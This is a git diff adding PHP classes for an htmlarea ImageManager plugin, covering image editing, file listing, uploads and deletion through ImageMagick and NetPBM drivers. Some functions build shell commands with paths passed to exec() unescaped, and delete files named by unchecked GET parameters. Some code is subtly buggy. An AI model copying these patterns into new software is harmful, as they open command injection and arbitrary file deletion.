+                                'font' => 'Arial.ttf',
+                                'resize_first' => false // Carry out the scaling of the image before annotation?
+                                );
+         $params = array_merge($default_params, $params);
+         extract($params);
+         if (true === $resize_first) {
+             // Set the key so that this will be the last item in the array
+            $key = 'ztext';
+         } else {
+            $key = 'text';
+         }
+         $this->command[$key] = "-font $font -fill $color -draw 'text $x,$y \"$text\"'";
+         // Producing error: gs: not found gs: not found convert: Postscript delegate failed [No such file or directory].
+    } // End addText
+
+    /**
+     * Adjust the image gamma
+     *
+     * @param float $outputgamma
+     *
+     * @return none
+     */
+    function gamma($outputgamma=1.0) {
+        $this->command['gamma'] = "-gamma $outputgamma";
+    }
+
+    /**
+     * Save the image file
+     *
+     * @param $filename string  the name of the file to write to
+     * @param $quality  quality image dpi, default=75
+     * @param $type     string  (JPG,PNG...)
+     *
+     * @return none
+     */
+    function save($filename, $type='', $quality = 85)
+    {
+        $type == '' ? $this->type : $type;
+        $cmd = '' . IMAGE_TRANSFORM_LIB_PATH . 'convert ';
+               $cmd .= implode(' ', $this->command) . " -quality $quality ";
+               $cmd .= '"'.($this->image) . '" "' . ($filename) . '" 2>&1';
+        
+        //$cmd = str_replace('/', '\\', $cmd);
+               //echo($cmd.'<br>');
+        exec($cmd,$retval);
+               //error_log('IM '.print_r($retval,true));
+    } // End save
+
+    /**
+     * Display image without saving and lose changes
+     *
+     * @param string type (JPG,PNG...);
+     * @param int quality 75
+     *
+     * @return none
+     */
+    function display($type = '', $quality = 75)
+    {
+        if ($type == '') {
+            header('Content-type: image/' . $this->type);
+            passthru(IMAGE_TRANSFORM_LIB_PATH . 'convert ' . implode(' ', $this->command) . " -quality $quality "  . escapeshellarg($this->image) . ' ' . strtoupper($this->type) . ":-");
+        } else {
+            header('Content-type: image/' . $type);
+            passthru(IMAGE_TRANSFORM_LIB_PATH . 'convert ' . implode(' ', $this->command) . " -quality $quality "  . escapeshellarg($this->image) . ' ' . strtoupper($type) . ":-");
+        }
+    }
+
+
+    /**
+     * Destroy image handle
+     *
+     * @return none
+     */
+    function free()
+    {
+        return true;
+    }
+
+} // End class ImageIM
+?>
diff --git a/admin/htmlarea/plugins/ImageManager/Classes/ImageEditor.php b/admin/htmlarea/plugins/ImageManager/Classes/ImageEditor.php
new file mode 100755 (executable)
index 0000000..eed6e5f
--- /dev/null
@@ -0,0 +1,446 @@
+<?
+/**
+ * Image Editor. Editing tools, crop, rotate, scale and save.
+ * @author $Author: cscott $
+ * @version $Id: ImageEditor.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+
+require_once('Transform.php');
+
+/**
+ * Handles the basic image editing capbabilities.
+ * @author $Author: cscott $
+ * @version $Id: ImageEditor.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ * @subpackage Editor
+ */
+class ImageEditor 
+{
+       /**
+        * ImageManager instance.
+        */
+       var $manager;
+
+       /**
+        * user based on IP address
+        */
+       var $_uid;
+
+       /**
+        * tmp file storage time.
+        */
+       var $lapse_time =900; //15 mins
+
+       var $filesaved = 0;
+
+       /**
+        * Create a new ImageEditor instance. Editing requires a 
+        * tmp file, which is saved in the current directory where the
+        * image is edited. The tmp file is assigned by md5 hash of the
+        * user IP address. This hashed is used as an ID for cleaning up
+        * the tmp files. In addition, any tmp files older than the
+        * the specified period will be deleted.
+        * @param ImageManager $manager the image manager, we need this
+        * for some file and path handling functions.
+        */
+       function ImageEditor($manager) 
+       {
+               $this->manager = $manager;
+               $this->_uid = md5($_SERVER['REMOTE_ADDR']);
+       }
+       
+       /**
+        * Did we save a file?
+        * @return int 1 if the file was saved sucessfully, 
+        * 0 no save operation, -1 file save error.
+        */
+       function isFileSaved() 
+       {
+               Return $this->filesaved;
+       }
+
+       /**
+        * Process the image, if not action, just display the image.
+        * @return array with image information, empty array if not an image.
+        * <code>array('src'=>'url of the image', 'dimensions'=>'width="xx" height="yy"',
+        * 'file'=>'image file, relative', 'fullpath'=>'full path to the image');</code>
+        */
+       function processImage() 
+       {
+               if(isset($_GET['img']))
+                       $relative = rawurldecode($_GET['img']);
+               else
+                       Return array();
+               
+               //$relative = '/Series2004NoteFront.jpg';
+
+               $imgURL = $this->manager->getFileURL($relative);
+               $fullpath = $this->manager->getFullPath($relative);
+               
+               $imgInfo = @getImageSize($fullpath);
+               if(!is_array($imgInfo))
+                       Return array();
+
+               $action = $this->getAction();
+
+               if(!is_null($action))
+               {
+                       $image = $this->processAction($action, $relative, $fullpath);
+               }
+               else
+               {
+                       $image['src'] = $imgURL;
+                       $image['dimensions'] = $imgInfo[3];
+                       $image['file'] = $relative;
+                       $image['fullpath'] = $fullpath;
+               }
+
+               Return $image;
+       }
+
+       /**
+        * Process the actions, crop, scale(resize), rotate, flip, and save.
+        * When ever an action is performed, the result is save into a
+        * temporary image file, see createUnique on the filename specs.
+        * It does not return the saved file, alway returning the tmp file.
+        * @param string $action, should be 'crop', 'scale', 'rotate','flip', or 'save'
+        * @param string $relative the relative image filename
+        * @param string $fullpath the fullpath to the image file
+        * @return array with image information
+        * <code>array('src'=>'url of the image', 'dimensions'=>'width="xx" height="yy"',
+        * 'file'=>'image file, relative', 'fullpath'=>'full path to the image');</code>
+        */
+       function processAction($action, $relative, $fullpath) 
+       {
+               $params = '';
+               
+               if(isset($_GET['params']))
+                       $params = $_GET['params'];
+
+               $values =  explode(',',$params,4);
+               $saveFile = $this->getSaveFileName($values[0]);
+
+               $img = Image_Transform::factory(IMAGE_CLASS);
+               $img->load($fullpath);
+
+               switch ($action) 
+               {
+                       case 'crop':
+                               $img->crop(intval($values[0]),intval($values[1]),
+                                                       intval($values[2]),intval($values[3]));
+                       break;
+                       case 'scale':
+                               $img->resize(intval($values[0]),intval($values[1]));
+                               break;
+                       case 'rotate':
+                               $img->rotate(floatval($values[0]));
+                               break;
+                       case 'flip':
+                               if ($values[0] == 'hoz')
+                                       $img->flip(true);
+                               else if($values[0] == 'ver') 
+                                       $img->flip(false);
+                               break;
+                       case 'save':
+                               if(!is_null($saveFile))
+                               {
+                                       $quality = intval($values[1]);
+                           if($quality <0) $quality = 85;
+                                       $newSaveFile = $this->makeRelative($relative, $saveFile);
+                                       $newSaveFile = $this->getUniqueFilename($newSaveFile);
+                                       
+                                       //get unique filename just returns the filename, so
+                                       //we need to make the relative path once more.
+                                       $newSaveFile = $this->makeRelative($relative, $newSaveFile);
+                                       $newSaveFullpath = $this->manager->getFullPath($newSaveFile);
+                                       $img->save($newSaveFullpath, $values[0], $quality);
+                                       if(is_file($newSaveFullpath))
+                                               $this->filesaved = 1;
+                                       else
+                                               $this->filesaved = -1;
+                               }
+                               break;
+               }
+               
+               //create the tmp image file
+               $filename = $this->createUnique($fullpath);
+               $newRelative = $this->makeRelative($relative, $filename);
+               $newFullpath = $this->manager->getFullPath($newRelative);
+               $newURL = $this->manager->getFileURL($newRelative);
+               
+               //save the file.
+               $img->save($newFullpath);
+               $img->free();
+
+               //get the image information
+               $imgInfo = @getimagesize($newFullpath);
+
+               $image['src'] = $newURL;
+               $image['dimensions'] = $imgInfo[3];
+               $image['file'] = $newRelative;
+               $image['fullpath'] = $newFullpath;
+
+               Return $image;
+       
+       }
+
+       /**
+        * Get the file name base on the save name
+        * and the save type.
+        * @param string $type image type, 'jpeg', 'png', or 'gif'
+        * @return string the filename according to save type
+        */
+       function getSaveFileName($type) 
+       {
+               if(!isset($_GET['file']))
+                       Return null;
+
+               $filename = Files::escape(rawurldecode($_GET['file']));
+               $index = strrpos($filename,'.');
+               $base = substr($filename,0,$index);
+               $ext = strtolower(substr($filename,$index+1,strlen($filename)));
+
+               if($type == 'jpeg' && !($ext=='jpeg' || $ext=='jpg'))
+               {
+                       Return $base.'.jpeg';
+               }
+               if($type=='png' && $ext != 'png')
+                       Return $base.'.png';
+               if($type=='gif' && $ext != 'gif')
+                       Return $base.'.gif';
+
+               Return $filename;
+       }
+
+       /**
+        * Get the default save file name, used by editor.php.
+        * @return string a suggestive filename, this should be unique
+        */
+       function getDefaultSaveFile() 
+       {
+               if(isset($_GET['img']))
+                       $relative = rawurldecode($_GET['img']);
+               else
+                       Return null;
+
+               Return $this->getUniqueFilename($relative);
+       }
+
+       /**
+        * Get a unique filename. If the file exists, the filename
+        * base is appended with an increasing integer.
+        * @param string $relative the relative filename to the base_dir
+        * @return string a unique filename in the current path
+        */
+       function getUniqueFilename($relative) 
+       {
+               $fullpath = $this->manager->getFullPath($relative);
+               
+               $pathinfo = pathinfo($fullpath);
+
+               $path = Files::fixPath($pathinfo['dirname']);
+               $file = Files::escape($pathinfo['basename']);
+               
+               $filename = $file;
+
+               $dotIndex = strrpos($file, '.');
+               $ext = '';
+
+               if(is_int($dotIndex)) 
+               {
+                       $ext = substr($file, $dotIndex);
+                       $base = substr($file, 0, $dotIndex);
+               }
+
+               $counter = 0;
+               while(is_file($path.$filename)) 
+               {
+                       $counter++;
+                       $filename = $base.'_'.$counter.$ext;
+               }
+               
+               Return $filename;
+               
+       }
+
+       /**
+        * Specifiy the original relative path, a new filename
+        * and return the new filename with relative path.
+        * i.e. $pathA (-filename) + $file
+        * @param string $pathA the relative file
+        * @param string $file the new filename
+        * @return string relative path with the new filename
+        */
+       function makeRelative($pathA, $file) 
+       {
+               $index = strrpos($pathA,'/');
+               if(!is_int($index))
+                       Return $file;
+
+               $path = substr($pathA, 0, $index);
+               Return Files::fixPath($path).$file;
+       }
+
+       /**
+        * Get the action GET parameter
+        * @return string action parameter
+        */
+       function getAction() 
+       {
+               $action = null;
+               if(isset($_GET['action']))
+                       $action = $_GET['action'];
+               Return $action;
+       }
+
+       /**
+        * Generate a unique string based on md5(microtime()).
+        * Well not so uniqe, as it is limited to 6 characters
+        * @return string unique string.
+        */
+    function uniqueStr()
+    {
+      return substr(md5(microtime()),0,6);
+    }
+
+       /**
+        * Create unique tmp image file name.
+        * The filename is based on the tmp file prefix
+        * specified in config.inc.php plus 
+        * the UID (basically a md5 of the remote IP)
+        * and some random 6 character string.
+        * This function also calls to clean up the tmp files.
+        * @param string $file the fullpath to a file
+        * @return string a unique filename for that path
+        * NOTE: it only returns the filename, path no included.
+        */
+       function createUnique($file) 
+       {
+               $pathinfo = pathinfo($file);
+               $path = Files::fixPath($pathinfo['dirname']);
+               $imgType = $this->getImageType($file);
+
+               $unique_str = $this->manager->getTmpPrefix().$this->_uid.'_'.$this->uniqueStr().".".$imgType;
+
+          //make sure the the unique temp file does not exists
+        while (file_exists($path.$unique_str))
+        {
+            $unique_str = $this->manager->getTmpPrefix().$this->_uid.'_'.$this->uniqueStr().".".$imgType;
+        }
+
+               $this->cleanUp($path,$pathinfo['basename']);
+
+               Return $unique_str;
+       }
+
+       /**
+        * Delete any tmp image files.
+        * @param string $path the full path 
+        * where the clean should take place.
+        */
+       function cleanUp($path,$file) 
+       {
+               $path = Files::fixPath($path);
+
+               if(!is_dir($path))
+                       Return false;
+
+               $d = @dir($path);
+               
+               $tmp = $this->manager->getTmpPrefix();
+               $tmpLen = strlen($tmp);
+
+               $prefix = $tmp.$this->_uid;
+               $len = strlen($prefix);
+
+               while (false !== ($entry = $d->read())) 
+               {
+                       //echo $entry."<br>";
+                       if(is_file($path.$entry) && $this->manager->isTmpFile($entry))
+                       {
+                               if(substr($entry,0,$len)==$prefix && $entry != $file)
+                                       Files::delFile($path.$entry);
+                               else if(substr($entry,0,$tmpLen)==$tmp && $entry != $file)
+                               {
+                                       if(filemtime($path.$entry)+$this->lapse_time < time())
+                                               Files::delFile($path.$entry);
+                               }
+                       }
+               }
+               $d->close();
+       }
+
+       /**
+        * Get the image type base on an image file.
+        * @param string $file the full path to the image file.
+        * @return string of either 'gif', 'jpeg', 'png' or 'bmp'
+        * otherwise it will return null.
+        */
+       function getImageType($file) 
+       {
+               $imageInfo = @getImageSize($file);
+
+               if(!is_array($imageInfo))
+                       Return null;
+
+               switch($imageInfo[2]) 
+               {
+                       case 1:
+                               Return 'gif';
+                       case 2:
+                               Return 'jpeg';
+                       case 3:
+                               Return 'png';
+                       case 6:
+                               Return 'bmp';
+               }
+
+               Return null;
+       }
+
+       /**
+        * Check if the specified image can be edit by GD
+        * mainly to check that GD can read and save GIFs
+        * @return int 0 if it is not a GIF file, 1 is GIF is editable, -1 if not editable.
+        */
+       function isGDEditable() 
+       {
+               if(isset($_GET['img']))
+                       $relative = rawurldecode($_GET['img']);
+               else
+                       Return 0;
+               if(IMAGE_CLASS != 'GD')
+                       Return 0;
+
+               $fullpath = $this->manager->getFullPath($relative);
+
+               $type = $this->getImageType($fullpath);
+               if($type != 'gif')
+                       Return 0;
+
+               if(function_exists('ImageCreateFrom'+$type)
+                       && function_exists('image'+$type))
+                       Return 1;
+               else
+                       Return -1;
+       }
+
+       /**
+        * Check if GIF can be edit by GD.
+        * @return int 0 if it is not using the GD library, 1 is GIF is editable, -1 if not editable.
+        */
+       function isGDGIFAble() 
+       {
+               if(IMAGE_CLASS != 'GD')
+                       Return 0;
+
+               if(function_exists('ImageCreateFromGif')
+                       && function_exists('imagegif'))
+                       Return 1;
+               else
+                       Return -1;
+       }
+}
+
+?>
\ No newline at end of file
diff --git a/admin/htmlarea/plugins/ImageManager/Classes/ImageManager.php b/admin/htmlarea/plugins/ImageManager/Classes/ImageManager.php
new file mode 100755 (executable)
index 0000000..8cd210b
--- /dev/null
@@ -0,0 +1,617 @@
+<?
+/**
+ * ImageManager, list images, directories, and thumbnails.
+ * @author $Author: cscott $
+ * @version $Id: ImageManager.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+
+require_once('Files.php');
+
+/**
+ * ImageManager Class.
+ * @author $Author: cscott $
+ * @version $Id: ImageManager.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ */
+class ImageManager 
+{
+       /**
+        * Configuration array.
+        */
+       var $config;
+
+       /**
+        * Array of directory information.
+        */
+       var $dirs;
+
+       /**
+        * Constructor. Create a new Image Manager instance.
+        * @param array $config configuration array, see config.inc.php
+        */
+       function ImageManager($config) 
+       {
+               $this->config = $config;
+       }
+
+       /**
+        * Get the base directory.
+        * @return string base dir, see config.inc.php
+        */
+       function getBaseDir() 
+       {
+               Return $this->config['base_dir'];
+       }
+
+       /**
+        * Get the base URL.
+        * @return string base url, see config.inc.php
+        */
+       function getBaseURL() 
+       {
+               Return $this->config['base_url'];
+       }
+
+       function isValidBase()
+       {
+               return is_dir($this->getBaseDir());
+       }
+
+       /**
+        * Get the tmp file prefix.
+     * @return string tmp file prefix.
+        */
+       function getTmpPrefix() 
+       {
+               Return $this->config['tmp_prefix'];
+       }
+
+       /**
+        * Get the sub directories in the base dir.
+        * Each array element contain
+        * the relative path (relative to the base dir) as key and the 
+        * full path as value.
+        * @return array of sub directries
+        * <code>array('path name' => 'full directory path', ...)</code>
+        */
+       function getDirs() 
+       {
+               if(is_null($this->dirs))
+               {
+                       $dirs = $this->_dirs($this->getBaseDir(),'/');
+                       ksort($dirs);
+                       $this->dirs = $dirs;
+               }
+               return $this->dirs;
+       }
+
+       /**
+        * Recursively travese the directories to get a list
+        * of accessable directories.
+        * @param string $base the full path to the current directory
+        * @param string $path the relative path name
+        * @return array of accessiable sub-directories
+        * <code>array('path name' => 'full directory path', ...)</code>
+        */
+       function _dirs($base, $path) 
+       {
+               $base = Files::fixPath($base);
+               $dirs = array();
+
+               if($this->isValidBase() == false)
+                       return $dirs;
+
+               $d = @dir($base);
+               
+               while (false !== ($entry = $d->read())) 
+               {
+                       //If it is a directory, and it doesn't start with
+                       // a dot, and if is it not the thumbnail directory
+                       if(is_dir($base.$entry) 
+                               && substr($entry,0,1) != '.'
+                               && $this->isThumbDir($entry) == false) 
+                       {
+                               $relative = Files::fixPath($path.$entry);
+                               $fullpath = Files::fixPath($base.$entry);
+                               $dirs[$relative] = $fullpath;
+                               $dirs = array_merge($dirs, $this->_dirs($fullpath, $relative));
+                       }
+               }
+               $d->close();
+
+               Return $dirs;
+       }
+
+       /**
+        * Get all the files and directories of a relative path.
+        * @param string $path relative path to be base path.
+        * @return array of file and path information.
+        * <code>array(0=>array('relative'=>'fullpath',...), 1=>array('filename'=>fileinfo array(),...)</code>
+        * fileinfo array: <code>array('url'=>'full url', 
+        *                       'relative'=>'relative to base', 
+        *                        'fullpath'=>'full file path', 
+        *                        'image'=>imageInfo array() false if not image,
+        *                        'stat' => filestat)</code>
+        */
+       function getFiles($path) 
+       {
+               $files = array();
+               $dirs = array();
+
+               if($this->isValidBase() == false)
+                       return array($files,$dirs);
+
+               $path = Files::fixPath($path);
+               $base = Files::fixPath($this->getBaseDir());
+               $fullpath = Files::makePath($base,$path);
+
+
+               $d = @dir($fullpath);
+               
+               while (false !== ($entry = $d->read())) 
+               {
+                       //not a dot file or directory
+                       if(substr($entry,0,1) != '.')
+                       {
+                               if(is_dir($fullpath.$entry)
+                                       && $this->isThumbDir($entry) == false)
+                               {
+                                       $relative = Files::fixPath($path.$entry);
+                                       $full = Files::fixPath($fullpath.$entry);
+                                       $count = $this->countFiles($full);
+                                       $dirs[$relative] = array('fullpath'=>$full,'entry'=>$entry,'count'=>$count);
+                               }
+                               else if(is_file($fullpath.$entry) && $this->isThumb($entry)==false && $this->isTmpFile($entry) == false) 
+                               {
+                                       $img = $this->getImageInfo($fullpath.$entry);
+
+                                       if(!(!is_array($img)&&$this->config['validate_images']))
+                                       {
+                                               $file['url'] = Files::makePath($this->config['base_url'],$path).$entry;
+                                               $file['relative'] = $path.$entry;
+                                               $file['fullpath'] = $fullpath.$entry;
+                                               $file['image'] = $img;
+                                               $file['stat'] = stat($fullpath.$entry);
+                                               $files[$entry] = $file;
+                                       }
+                               }
+                       }
+               }
+               $d->close();
+               ksort($dirs);
+               ksort($files);
+               
+               Return array($dirs, $files);
+       }       
+
+       /**
+        * Count the number of files and directories in a given folder
+        * minus the thumbnail folders and thumbnails.
+        */
+       function countFiles($path) 
+       {
+               $total = 0;
+
+               if(is_dir($path)) 
+               {
+                       $d = @dir($path);
+
+                       while (false !== ($entry = $d->read())) 
+                       {
+                               //echo $entry."<br>";
+                               if(substr($entry,0,1) != '.'
+                                       && $this->isThumbDir($entry) == false
+                                       && $this->isTmpFile($entry) == false
+                                       && $this->isThumb($entry) == false) 
+                               {
+                                       $total++;
+                               }
+                       }
+                       $d->close();
+               }
+               return $total;
+       }
+
+       /**
+        * Get image size information.
+        * @param string $file the image file
+        * @return array of getImageSize information, 
+        *  false if the file is not an image.
+        */
+       function getImageInfo($file) 
+       {
+               Return @getImageSize($file);
+       }
+
+       /**
+        * Check if the file contains the thumbnail prefix.
+        * @param string $file filename to be checked
+        * @return true if the file contains the thumbnail prefix, false otherwise.
+        */
+       function isThumb($file) 
+       {
+               $len = strlen($this->config['thumbnail_prefix']);
+               if(substr($file,0,$len)==$this->config['thumbnail_prefix'])
+                       Return true;
+               else
+                       Return false;
+       }
+
+       /**
+        * Check if the given directory is a thumbnail directory.
+        * @param string $entry directory name
+        * @return true if it is a thumbnail directory, false otherwise
+        */
+       function isThumbDir($entry) 
+       {
+               if($this->config['thumbnail_dir'] == false
+                       || strlen(trim($this->config['thumbnail_dir'])) == 0)
+                       Return false;           
+               else
+                       Return ($entry == $this->config['thumbnail_dir']);
+       }
+
+       /**
+        * Check if the given file is a tmp file.
+        * @param string $file file name
+        * @return boolean true if it is a tmp file, false otherwise
+        */
+       function isTmpFile($file) 
+       {
+               $len = strlen($this->config['tmp_prefix']);
+               if(substr($file,0,$len)==$this->config['tmp_prefix'])
+                       Return true;
+               else
+                       Return false;           
+       }
+
+       /**
+        * For a given image file, get the respective thumbnail filename
+        * no file existence check is done.
+        * @param string $fullpathfile the full path to the image file
+        * @return string of the thumbnail file
+        */
+       function getThumbName($fullpathfile) 
+       {
+               $path_parts = pathinfo($fullpathfile);
+               
+               $thumbnail = $this->config['thumbnail_prefix'].$path_parts['basename'];
+
+               if($this->config['safe_mode'] == true
+                       || strlen(trim($this->config['thumbnail_dir'])) == 0)
+               {
+                       Return Files::makeFile($path_parts['dirname'],$thumbnail);
+               }
+               else
+               {
+                       if(strlen(trim($this->config['thumbnail_dir'])) > 0)
+                       {
+                               $path = Files::makePath($path_parts['dirname'],$this->config['thumbnail_dir']);
+                               if(!is_dir($path))
+                                       Files::createFolder($path);
+                               Return Files::makeFile($path,$thumbnail);
+                       }
+                       else //should this ever happen?
+                       {
+                               //error_log('ImageManager: Error in creating thumbnail name');
+                       }
+               }
+       }
+       
+       /**
+        * Similar to getThumbName, but returns the URL, base on the
+        * given base_url in config.inc.php
+        * @param string $relative the relative image file name, 
+        * relative to the base_dir path
+        * @return string the url of the thumbnail
+        */
+       function getThumbURL($relative) 
+       {
+               $path_parts = pathinfo($relative);
+               $thumbnail = $this->config['thumbnail_prefix'].$path_parts['basename'];
+               if($path_parts['dirname']=='\\') $path_parts['dirname']='/';
+
+               if($this->config['safe_mode'] == true
+                       || strlen(trim($this->config['thumbnail_dir'])) == 0)
+               {
+                       Return Files::makeFile($this->getBaseURL(),$thumbnail);
+               }
+               else
+               {
+                       if(strlen(trim($this->config['thumbnail_dir'])) > 0)
+                       {
+                               $path = Files::makePath($path_parts['dirname'],$this->config['thumbnail_dir']);
+                               $url_path = Files::makePath($this->getBaseURL(), $path);
+                               Return Files::makeFile($url_path,$thumbnail);
+                       }
+                       else //should this ever happen?
+                       {
+                               //error_log('ImageManager: Error in creating thumbnail url');
+                       }
+
+               }
+       }
+
+       /**
+        * Check if the given path is part of the subdirectories
+        * under the base_dir.
+        * @param string $path the relative path to be checked
+        * @return boolean true if the path exists, false otherwise
+        */
+       function validRelativePath($path) 
+       {
+               $dirs = $this->getDirs();
+               if($path == '/')
+                       Return true;
+               //check the path given in the url against the 
+               //list of paths in the system.
+               for($i = 0; $i < count($dirs); $i++)
+               {
+                       $key = key($dirs);
+                       //we found the path
+                       if($key == $path)
+                               Return true;
+               
+                       next($dirs);
+               }               
+               Return false;
+       }
+
+       /**
+        * Process uploaded files, assumes the file is in 
+        * $_FILES['upload'] and $_POST['dir'] is set.
+        * The dir must be relative to the base_dir and exists.
+        * If 'validate_images' is set to true, only file with
+        * image dimensions will be accepted.
+        * @return null
+        */
+       function processUploads() 
+       {
+               if($this->isValidBase() == false)
+                       return;
+
+               $relative = null;
+
+               if(isset($_POST['dir'])) 
+                       $relative = rawurldecode($_POST['dir']);
+               else
+                       return;
+
+               //check for the file, and must have valid relative path
+               if(isset($_FILES['upload']) && $this->validRelativePath($relative))
+               {
+                       $this->_processFiles($relative, $_FILES['upload']);
+               }
+       }
+
+       /**
+        * Process upload files. The file must be an 
+        * uploaded file. If 'validate_images' is set to
+        * true, only images will be processed. Any duplicate
+        * file will be renamed. See Files::copyFile for details
+        * on renaming.
+        * @param string $relative the relative path where the file
+        * should be copied to.
+        * @param array $file the uploaded file from $_FILES
+        * @return boolean true if the file was processed successfully, 
+        * false otherwise
+        */
+       function _processFiles($relative, $file)
+       {
+               
+               if($file['error']!=0)
+               {
+                       Return false;
+               }
+
+               if(!is_file($file['tmp_name']))
+               {
+                       Return false;
+               }
+
+               if(!is_uploaded_file($file['tmp_name']))
+               {
+                       Files::delFile($file['tmp_name']);
+                       Return false;
+               }
+               
+
+               if($this->config['validate_images'] == true)
+               {
+                       $imgInfo = @getImageSize($file['tmp_name']);
+                       if(!is_array($imgInfo))
+                       {
+                               Files::delFile($file['tmp_name']);
+                               Return false;
+                       }
+               }
+
+               //now copy the file
+               $path = Files::makePath($this->getBaseDir(),$relative);
+               $result = Files::copyFile($file['tmp_name'], $path, $file['name']);
+
+               //no copy error
+               if(!is_int($result))
+               {
+                       Files::delFile($file['tmp_name']);
+                       Return true;
+               }
+
+               //delete tmp files.
+               Files::delFile($file['tmp_name']);
+               Return false;
+       }
+
+       /**
+        * Get the URL of the relative file.
+        * basically appends the relative file to the 
+        * base_url given in config.inc.php
+        * @param string $relative a file the relative to the base_dir
+        * @return string the URL of the relative file.
+        */
+       function getFileURL($relative) 
+       {
+               Return Files::makeFile($this->getBaseURL(),$relative);
+       }
+
+       /**
+        * Get the fullpath to a relative file.
+        * @param string $relative the relative file.
+        * @return string the full path, .ie. the base_dir + relative.
+        */
+       function getFullPath($relative) 
+       {
+               Return Files::makeFile($this->getBaseDir(),$relative);;
+       }
+
+       /**
+        * Get the default thumbnail.
+        * @return string default thumbnail, empty string if 
+        * the thumbnail doesn't exist.
+        */
+       function getDefaultThumb() 
+       {
+               if(is_file($this->config['default_thumbnail']))
+                       Return $this->config['default_thumbnail'];
+               else 
+                       Return '';
+       }
+
+
+       /**
+        * Get the thumbnail url to be displayed. 
+        * If the thumbnail exists, and it is up-to-date
+        * the thumbnail url will be returns. If the 
+        * file is not an image, a default image will be returned.
+        * If it is an image file, and no thumbnail exists or 
+        * the thumbnail is out-of-date (i.e. the thumbnail 
+        * modified time is less than the original file)
+        * then a thumbs.php?img=filename.jpg is returned.
+        * The thumbs.php url will generate a new thumbnail
+        * on the fly. If the image is less than the dimensions
+        * of the thumbnails, the image will be display instead.
+        * @param string $relative the relative image file.
+        * @return string the url of the thumbnail, be it
+        * actually thumbnail or a script to generate the
+        * thumbnail on the fly.
+        */
+       function getThumbnail($relative) 
+       {
+               $fullpath = Files::makeFile($this->getBaseDir(),$relative);
+
+               //not a file???
+               if(!is_file($fullpath))
+                       Return $this->getDefaultThumb();
+
+               $imgInfo = @getImageSize($fullpath);
+               
+               //not an image
+               if(!is_array($imgInfo))
+                       Return $this->getDefaultThumb();
+
+               //the original image is smaller than thumbnails,
+               //so just return the url to the original image.
+               if ($imgInfo[0] <= $this->config['thumbnail_width']
+                && $imgInfo[1] <= $this->config['thumbnail_height'])
+                       Return $this->getFileURL($relative);
+
+               $thumbnail = $this->getThumbName($fullpath);
+               
+               //check for thumbnails, if exists and
+               // it is up-to-date, return the thumbnail url
+               if(is_file($thumbnail))
+               {
+                       if(filemtime($thumbnail) >= filemtime($fullpath))
+                               Return $this->getThumbURL($relative);
+               }
+
+               //well, no thumbnail was found, so ask the thumbs.php
+               //to generate the thumbnail on the fly.
+               Return 'thumbs.php?img='.rawurlencode($relative);
+       }
+
+       /**
+        * Delete and specified files.
+        * @return boolean true if delete, false otherwise
+        */
+       function deleteFiles() 
+       {
+               if(isset($_GET['delf']))
+                       $this->_delFile(rawurldecode($_GET['delf']));
+       }
+
+       /**
+        * Delete and specified directories.
+        * @return boolean true if delete, false otherwise
+        */
+       function deleteDirs() 
+       {
+                if(isset($_GET['deld']))
+                       return $this->_delDir(rawurldecode($_GET['deld']));             
+                else
+                        Return false;
+       }
+
+       /**
+        * Delete the relative file, and any thumbnails.
+        * @param string $relative the relative file.
+        * @return boolean true if deleted, false otherwise.
+        */
+       function _delFile($relative) 
+       {
+               $fullpath = Files::makeFile($this->getBaseDir(),$relative);
+               
+               //check that the file is an image
+               if($this->config['validate_images'] == true)
+               {
+                       if(!is_array($this->getImageInfo($fullpath)))
+                               return false; //hmmm not an Image!!???
+               }
+
+               $thumbnail = $this->getThumbName($fullpath);
+
+               if(Files::delFile($fullpath))
+                       Return Files::delFile($thumbnail);
+               else
+                       Return false;
+       }
+
+       /**
+        * Delete directories recursively.
+        * @param string $relative the relative path to be deleted.
+        * @return boolean true if deleted, false otherwise.
+        */
+       function _delDir($relative) 
+       {
+               $fullpath = Files::makePath($this->getBaseDir(),$relative);
+               if($this->countFiles($fullpath) <= 0)
+                       return Files::delFolder($fullpath,true); //delete recursively.
+               else
+                       Return false;
+       }
+
+       /**
+        * Create new directories.
+        * If in safe_mode, nothing happens.
+        * @return boolean true if created, false otherwise.
+        */
+       function processNewDir() 
+       {
+               if($this->config['safe_mode'] == true)
+                       Return false;
+
+               if(isset($_GET['newDir']) && isset($_GET['dir']))
+               {
+                       $newDir = rawurldecode($_GET['newDir']);
+                       $dir = rawurldecode($_GET['dir']);
+                       $path = Files::makePath($this->getBaseDir(),$dir);
+                       $fullpath = Files::makePath($path, Files::escape($newDir));
+                       if(is_dir($fullpath))
+                               Return false;
+
+                       Return Files::createFolder($fullpath);
+               }
+       }
+}
+
+?>
\ No newline at end of file
diff --git a/admin/htmlarea/plugins/ImageManager/Classes/NetPBM.php b/admin/htmlarea/plugins/ImageManager/Classes/NetPBM.php
new file mode 100755 (executable)
index 0000000..dc7826e
--- /dev/null
@@ -0,0 +1,257 @@
+<?php
+/***********************************************************************
+** Title.........:  NetPBM Driver
+** Version.......:  1.0
+** Author........:  Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......:  NetPBM.php
+** Last changed..:  30 Aug 2003 
+** Notes.........:  Orginal is from PEAR
+**/
+
+// +----------------------------------------------------------------------+
+// | PHP Version 4                                                        |
+// +----------------------------------------------------------------------+
+// | Copyright (c) 1997-2002 The PHP Group                                |
+// +----------------------------------------------------------------------+
+// | This source file is subject to version 2.02 of the PHP license,      |
+// | that is bundled with this package in the file LICENSE, and is        |
+// | available at through the world-wide-web at                           |
+// | http://www.php.net/license/2_02.txt.                                 |
+// | If you did not receive a copy of the PHP license and are unable to   |
+// | obtain it through the world-wide-web, please send a note to          |
+// | license@php.net so we can mail you a copy immediately.               |
+// +----------------------------------------------------------------------+
+// | Authors: Peter Bowyer <peter@mapledesign.co.uk>                      |
+// +----------------------------------------------------------------------+
+//
+// $Id: NetPBM.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+//
+// Image Transformation interface using command line NetPBM
+
+require_once "Transform.php";
+
+Class Image_Transform_Driver_NetPBM extends Image_Transform
+{
+
+    /**
+     * associative array commands to be executed
+     * @var array
+     */
+    var $command = array();
+
+    /**
+     * Class Constructor
+     */
+    function Image_Transform_Driver_NetPBM()
+    {
+        $this->uid = md5($_SERVER['REMOTE_ADDR']);
+            
